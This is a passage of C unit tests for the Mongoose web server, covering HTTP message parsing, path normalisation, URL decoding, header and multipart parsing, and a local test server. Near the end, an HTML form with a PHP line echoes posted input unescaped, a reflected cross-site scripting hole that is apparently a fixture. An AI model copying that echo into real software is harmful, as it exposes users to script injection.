ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
ASSERT(strcmp(ri.request_method, "GET") == 0);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
return NULL;
}
static const char *test_should_keep_alive(void) {
struct mg_connection conn;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
ASSERT(should_keep_alive(&conn) != 0);
parse_http_message(req2, sizeof(req2) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req3, sizeof(req3) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req4, sizeof(req4) - 1, &conn);
ASSERT(should_keep_alive(&conn) != 0);
return NULL;
}
static const char *test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
return NULL;
}
static const char *test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
return NULL;
}
static const char *test_get_var(void) {
static const char *post[] = {
"a=1&&b=2&d&=&c=3%20&e=",
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
NULL
};
char buf[20];
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
return NULL;
}
static const char *test_url_decode(void) {
char buf[100];
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
ASSERT(strcmp(buf, "foo") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
ASSERT(strcmp(buf, "a+") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "a ") == 0);
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "%") == 0);
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "%6") == 0);
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "a") == 0);
return NULL;
}
static const char *test_to64(void) {
ASSERT(to64("0") == 0);
ASSERT(to64("") == 0);
ASSERT(to64("123") == 123);
ASSERT(to64("-34") == -34);
ASSERT(to64("3566626116") == 3566626116);
return NULL;
}
static const char *test_parse_port_string(void) {
static const char *valid[] = {
"1", "1.2.3.4:1",
#if defined(USE_IPV6)
"[::1]:123", "[3ffe:2a00:100:7031::1]:900",
#endif
NULL
};
static const char *invalid[] = {
"0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
};
union socket_address sa;
int i;
for (i = 0; valid[i] != NULL; i++) {
ASSERT(parse_port_string(valid[i], &sa) != 0);
}
for (i = 0; invalid[i] != NULL; i++) {
ASSERT(parse_port_string(invalid[i], &sa) == 0);
}
return NULL;
}
static const char *test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
ASSERT(!strcmp(buf, out[i]));
}
return NULL;
}
static const char *test_mg_parse_header(void) {
const char *str = "xx=1 kl yy, ert=234 kl=123, "
"ii=\"12\\\"34\" zz='aa bb', gf=\"xx d=1234";
char buf[10];
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "234") == 0);
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "aa bb") == 0);
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
ASSERT(strcmp(buf, "1234") == 0);
buf[0] = 'x';
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "123") == 0);
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "12\"34") == 0);
return NULL;
}
static const char *test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
return NULL;
}
static int cb1(struct mg_connection *conn) {
// We're not sending HTTP headers here, to make testing easier
mg_printf(conn, "%s %s %s",
conn->server_param == NULL ? "?" : (char *) conn->server_param,
conn->connection_param == NULL ? "?" : "!", conn->remote_ip);
return 1;
}
static const char *test_regular_file(void) {
static const char *fname = "main.c";
int reply_len, file_len;
char *reply, *file_data;
file_stat_t st;
ASSERT(stat(fname, &st) == 0);
ASSERT(st.st_size > 0);
ASSERT((file_data = read_file(fname, &file_len)) != NULL);
ASSERT(file_len == st.st_size);
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len,
"GET /%s.c HTTP/1.0\r\n\r\n", fname);
ASSERT(reply != NULL);
ASSERT(reply_len > 0);
// TODO(lsm): test headers and content
free(reply);
free(file_data);
return NULL;
}
static const char *test_server_param(void) {
int reply_len;
char *reply;
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s",
"GET /cb1 HTTP/1.0\r\n\r\n");
ASSERT(reply != NULL);
ASSERT(reply_len == 15);
// cb1() does not send HTTP headers
ASSERT(memcmp(reply, "foo ? 127.0.0.1", 5) == 0);
//printf("%d [%.*s]\n", reply_len, reply_len, reply);
free(reply);
return NULL;
}
static int error_handler(struct mg_connection *conn) {
mg_printf(conn, "error: %d", conn->status_code);
return 1;
}
static const char *test_error_handler(void) {
int reply_len;
char *reply;
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s",
"GET /non_exist HTTP/1.0\r\n\r\n");
ASSERT(reply != NULL);
ASSERT(reply_len == 10);
ASSERT(memcmp(reply, "error: 404", 10) == 0);
free(reply);
return NULL;
}
static void *server_thread(void *param) {
int i;
for (i = 0; i < 10; i++) mg_poll_server((struct mg_server *) param, 1);
return NULL;
}
static const char *test_server(void) {
struct mg_server *server = mg_create_server("foo");
ASSERT(server != NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
mg_add_uri_handler(server, "/cb1", cb1);
mg_set_http_error_handler(server, error_handler);
mg_start_thread(server_thread, server);
RUN_TEST(test_regular_file);
RUN_TEST(test_server_param);
RUN_TEST(test_error_handler);
// TODO(lsm): come up with a better way of thread sync
sleep(1);
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
mg_destroy_server(&server);
ASSERT(server == NULL);
return NULL;
}
#define DISP "Content-Disposition: form/data; "
#define CRLF "\r\n"
#define BOUNDARY "--xyz"
static const char *test_parse_multipart(void) {
char a[100], b[100];
const char *p;
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
"some_content" CRLF BOUNDARY CRLF
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
"another_content" CRLF BOUNDARY CRLF
"--" CRLF;
int n, n2, len, f1_len = sizeof(f1) - 1;
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 12);
ASSERT(memcmp(p, "some_content", len) == 0);
ASSERT(strcmp(a, "f1") == 0);
ASSERT(b[0] == '\0');
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 15);
ASSERT(memcmp(p, "another_content", len) == 0);
ASSERT(strcmp(a, "f2") == 0);
ASSERT(strcmp(b, "foo bar.txt") == 0);
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
b, sizeof(b), &p, &len)) == 0);
return NULL;
}
static const char *run_all_tests(void) {
RUN_TEST(test_should_keep_alive);
RUN_TEST(test_match_prefix);
RUN_TEST(test_remove_double_dots);
RUN_TEST(test_parse_http_message);
RUN_TEST(test_parse_port_string);
RUN_TEST(test_to64);
RUN_TEST(test_url_decode);
RUN_TEST(test_base64_encode);
RUN_TEST(test_mg_parse_header);
RUN_TEST(test_get_var);
RUN_TEST(test_next_option);
RUN_TEST(test_server);
RUN_TEST(test_parse_multipart);
return NULL;
}
int __cdecl main(void) {
const char *fail_msg = run_all_tests();
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
}
<html>
<form method="post">
<input name="x" type="text" />
<input type="submit" />
</form>
<? echo $_POST["x"]; ?>
</html>
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment